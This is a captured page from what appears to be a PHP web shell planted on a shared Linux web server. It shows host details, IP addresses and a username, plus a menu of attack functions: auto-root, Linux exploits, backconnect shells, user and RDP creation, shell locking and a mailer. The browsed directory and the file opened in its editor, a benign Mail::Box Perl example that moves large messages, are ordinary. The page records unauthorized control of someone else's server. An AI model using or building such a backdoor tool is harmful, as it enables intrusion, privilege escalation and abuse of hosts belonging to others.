Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
libmail-box-perl /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
scripts
[ DIR ]
drwxr-xr-x
build.pl
1.77
KB
-rw-r--r--
grep.pl
936
B
-rw-r--r--
multipart.pl
1.38
KB
-rw-r--r--
open.pl
1.02
KB
-rw-r--r--
reply.pl
2.82
KB
-rw-r--r--
send.pl
1.05
KB
-rw-r--r--
smaller.pl
2.26
KB
-rw-r--r--
strip-attachments.pl
3.33
KB
-rw-r--r--
strip-spam-markup.pl
6.75
KB
-rw-r--r--
takelarge.pl
1.64
KB
-rw-r--r--
unpack.pl
2.03
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : takelarge.pl
#!/usr/bin/perl # Demonstrates how to select some messages from one folder, and move # them to a different folder. In this case, the first argument is # the existing folder, the second will contain the messages larger # than the specified size: # # takelarge.pl infolder outfolder minsize # ******************************************************************* # * WARNING: the content of infolder will be reduced!!! Don't do this # * on your real folders.... it's only a demo # ******************************************************************* # This code can be used and modified without restriction. # Mark Overmeer, <mailbox@overmeer.net>, 9 nov 2001 use warnings; use strict; use lib '..', '.'; use Mail::Box::Manager 2.00; # # Get the command line arguments. # die "Usage: $0 folder-from folder-to size\n" unless @ARGV==3; my ($infile, $outfile, $size) = @ARGV; # # Open the folder # my $mgr = Mail::Box::Manager->new; my $inbox = $mgr->open ( $infile , access => 'rw' # to update deleted , extract => 'ALWAYS' # read all bodies immediately: faster ); die "Cannot open $infile to read: $!\n" unless defined $inbox; my $outbox = $mgr->open ( $outfile , access => 'a' # append, , create => 1 # create if not existent ); die "Cannot open $outfile to write: $!\n" unless defined $outbox; foreach my $message ($inbox->messages) { next if $message->size < $size; $mgr->moveMessage($outbox, $message); print 'Moved "',$message->get('Subject') || '<no subject>' , '": ', $message->size, " bytes.\n"; } # # Finish # #$inbox->close; #$outbox->close; $mgr->closeAllFolders;
Close